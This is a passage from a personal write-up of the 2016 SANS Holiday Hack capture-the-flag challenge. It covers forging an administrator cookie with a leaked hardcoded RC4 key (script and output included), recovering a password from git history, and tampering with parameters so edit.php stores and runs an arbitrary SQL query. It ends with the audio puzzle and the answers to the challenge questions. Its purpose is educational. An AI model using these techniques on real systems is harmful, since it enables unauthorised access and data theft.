[...]
 function check_access($db, $username, $users) {
    # Allow administrator to access any page
    if($username == 'administrator') {
      return;
    }

    if(!in_array($username, $users)) {
      reply(403, 'Access denied!');
      exit(1);
    }
  }

From this source file, we can determine that administrator has access to every page, and that the application uses the cookie AUTH to determine the current logged in username. Let's see how this cookie is generated:

# File login.php
<?php
[...]
    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }
# File crypto.php
<?php
  define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

  function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }

  function decrypt($data) {
    return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }
?>

So, we can see that the username is stored in a JSON object, stored encrypted in the cookie AUTH. Since we have the encryption key in crypto.php, we can generate our own cookie:

<?php
    include('crypto.php');

    $auth = encrypt(json_encode([
      'username' => 'administrator',
      'date' => date(DateTime::ISO8601),
    ]));

    echo bin2hex($auth);
?>
$ php exploit.php
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c6549b449486763a20363b71876884152

We can now log into the application as administrator:

analytics_administrator_login.png

There was another, more elegant method, to recover administrator's password. Since we have the Git repository of the web application, we have access to every file's history. We can see that in the source of the website, there is an SQL schema file, sprusage.sql. This file is used to create a database with the right schema. It's often created with a dump of the currently deployed database. However, if we take a look at it, we won't see any data in it, apart from the tables creation instructions:

DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(11) NOT NULL,
  `username` varchar(128) NOT NULL,
  `password` varchar(128) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

But, if we take a look at the Git log, we can see that the file was "fixed":

commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31
Author: me <me@example.org>
Date:   Mon Nov 21 21:15:08 2016 -0800

    Fix database dump

Let's see the different modifications made on sprusage.sql:

$ git log -p -- ./sprusage.sql
[...]
commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31
Author: me <me@example.org>
Date:   Mon Nov 21 21:15:08 2016 -0800

    Fix database dump

diff --git a/sprusage.sql b/sprusage.sql
index a382229..b948dd0 100644
--- a/sprusage.sql
+++ b/sprusage.sql
[...]
 LOCK TABLES `users` WRITE;
 /*!40000 ALTER TABLE `users` DISABLE KEYS */;
-INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');
 /*!40000 ALTER TABLE `users` ENABLE KEYS */;
 UNLOCK TABLES;
 /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

We can see that administrator's password is KeepWatchingTheSkies. With these credentials, we have another method of authenticating as administrator.

Anyway, we now have access to the edit.php page. This means that we can edit past saved queries. However, we can only modify the name or the description of the query, as shown on the screenshot above. Let's see this functionality in action:

analytics_edit_first_use.png

Hmm, we can see that the page checks for the presence of some parameters: name, description... and query! Let's take a look at the edit.php file:

<?php
  }
  else
  {
    $result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1");
    if(!$result) {
      reply(500, "MySQL Error: " . mysqli_error($db));
      die();
    }
    $row = mysqli_fetch_assoc($result);

    # Update the row with the new values
    $set = [];
    foreach($row as $name => $value) {
      print "Checking for " . htmlentities($name) . "...<br>";
      if(isset($_GET[$name])) {
        print 'Yup!<br>';
        $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'";
      }
    }

We can see that the edit.php page checks for the presence of every columns of the reports table in the GET parameters. This means that if we specify a query GET parameter, we can modify the stored SQL query of a specific request!

By looking the SQL schema file, sprusage.sql, we can see the format of the audio table, containing the coveted audio file. We can now create our fake query:

SELECT filename,HEX(mp3) FROM audio WHERE username='administrator'

We can now store our malevolent query, and execute it:

analytics_edit_exploit.png analytics_edit_exploit_result.png

We can now recover our hex-encoded audio file, decode it, and get the last audio file, discombobulatedaudio7.mp3.

Part 5: Discombobulated Audio

Now that we've hacked the SantaGram infrastructure, we have our weird audio files. You can download them here:

At first, I suspected that, since all the files are approximately the same length, you had to superimpose every one of them, or something, which led to this horrendous result:

You can download the audio file here (sha256: c195d43e6445c84686a1bd4e89429db0f2802e8d8ae31e93769490d1204e098c)

The solution is actually quite simpler. You just have to put the audio files in the order we found them, then change the tempo of the audio track, to get something intelligible:

You can download the audio file here (sha256: 20e91d466c4cea4e1282e32dfc52725eadff05276d91bcc9fbd547c09bf2964a)

If you can't quite hear the spoken phrase, it's:

Father Christmas, Santa Claus or, as I've always known him, Jeff.

Now, I didn't recognize the reference right away, but if you DuckDuckgo the sentence (or part of it if you only got some audio files), you find that it's from a Doctor Who Christmas Special, A Christmas Carol. Now, I DID see this Doctor Who, but failed to remember the reference, so I'm still ashamed of this.

Anyway, if you remember, there was still one door in the North Pole we couldn't open: the door in the Corridor. Since the audio pointed to Doctor Who, I tried every element of the show I could think of ("The Doctor", "Amy Pond", "The Master", "Tardis", "tardis", "TARDIS", "Geronimo", "Geronimo!", "Geronimo!!!", ...). Turns out, the passphrase to the door was just the full sentence we hear in the audio file. Trying too hard leads nowhere.

Now that we've opened the door, we can see Who is behind this nefarious plot (see what I did there?).

the_doctor.png

It was the Doctor all along! If we talk to him, he explains his plan:

The question of the hour is this: Who nabbed Santa. The answer? Yes, I did. Next question: Why would anyone in his right mind kidnap Santa Claus? The answer: Do I look like I'm in my right mind? I'm a madman with a box. I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here. Give me a world like that. Just once. So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe’s timeline. So I had no choice – I had to kidnap him. It was sort of one of those days. Well. You know what I mean. Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time. We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan. Nice work.

Now, although I'm a major Star Wars fan, I've always decided to listen to the advice of my elders regarding the Christmas Special (shout out to Randal Munroe), and I've never watched it. Guess I'll continue to refrain from watching it. Brrrr...

Epilogue: Bringing It All Home

As the title suggests, it's time to bring it home, and answer each question of the challenge:

  1. What is the secret message in Santa's tweets?

The secret message in Santa's tweets is bugbounty.

  1. What is inside the ZIP file distributed by Santa's team?

Inside the ZIP file distributed by Santa's team, there is a copy of the Android application for their bug bounty, SantaGram_4.2.apk.

  1. What username and password are embedded in the APK file?

The credentials in the APK file are guest/busyreindeer78.

  1. What is the name of the audible component (audio file. in the SantaGram APK file?

The name of the audio file in the SantaGram APK file is discombobulatedaudio1.mp3.

  1. What is the password for the "cranpi" account on the Cranberry Pi system?

The password of the "cranpi" account is yummycookies.

  1. How did you open each terminal door and where had the villain imprisoned Santa?
  • Elf House #2: using sudo to execute commands as itchy, we can read the PCAP file, containing the two halves of the passphrase, one encoded in plain 7-bit ASCII, one encoded in 16-bit big endian.
  • Workshop, first door: using find, we can find the file containing the passphrase, and print its content.
  • Santa's office: using our *cough cough* knowledge of the film WarGames, we can get the correct passphrase.
  • Workshop, second door: by analyzing the wumpus program, we can find the function in charge of computing the passphrase, and directly call it.
  • Train station: since the HELP function uses less to print the content of the help file, we can use less's features to open other files, including the one containing the passphrase.

The villain had imprisoned Santa Claus in the DFER room, in 1978.

  1. For each of those six items, which vulnerabilities did you discover and exploit?
  • The Mobile Analytics Server (via credentialed login access):
    • Credentials stored in plaintext in the SantaGram APK.
    • Use of these credentials on the analytics server.
  • The Dungeon Game
    • Finding of the Dungeon CLI with nmap.
    • Using our *cough cough* knowledge of the video game Zork to get the email address of Peppermint.
    • Sending an email to Peppermint to receive the audio file.
  • The Debug Server:
    • Patching of the SantaGram APK to enable debug data.
    • JSON request tampering to increase verbosity of the debug server.
    • Disclosing of the path of the audio file in the response of the debug server.
  • The Banner Ad Server:
    • Using Meteor Miner, we could list the different routes.
    • Disclosing of the /admin/quotes route.
    • Using Meteor Miner, we could list the collection of quotes.
    • Disclosing of the path of the audio file in the attributes of one of the quotes.
  • The Uncaught Exception Handler Server:
    • Verbose error allowing to build a correct ReadCrashDump request.
    • Local File Inclusion in the exception.php page.
  • The Mobile Analytics Server (post authentication):
    • Source files recovery with open Git repository.
    • Creation of an administrator cookie.
    • Exploitation of the edit.php page to store an arbitrary SQL query.
  1. What are the names of the audio files you discovered from each system above?
  • The Mobile Analytics Server (via credentialed login access): discombobulatedaudio2.mp3
  • The Dungeon Game: discombobulatedaudio3.mp3
  • The Debug Server: debug-20161224235959-0.mp3
  • The Banner Ad Server: discombobulatedaudio5.mp3
  • The Uncaught Exception Handler Server: discombobulated-audio-6-XyzE3N9YqKNH.mp3
  • The Mobile Analytics Server (post authentication): discombobulatedaudio7.mp3
  1. Who is the villain behind the nefarious plot?

The villain behind the nefarious plot is the Doctor.

  1. Why had the villain abducted Santa?

The Doctor had abducted Santa to use his magick to prevent the Star Wars Christmas special from ever coming out.

Conclusion

Once again, a great challenge by the SANS, which I managed, this time, to finish completely! I also noticed that I didn't improve my skills in reverse engineering and binary analysis, which is a skill I wanted to improve, as said in last year's write-up. Bad me...

Anyway, see you next year for the next SANS Christmas Challenge ;) !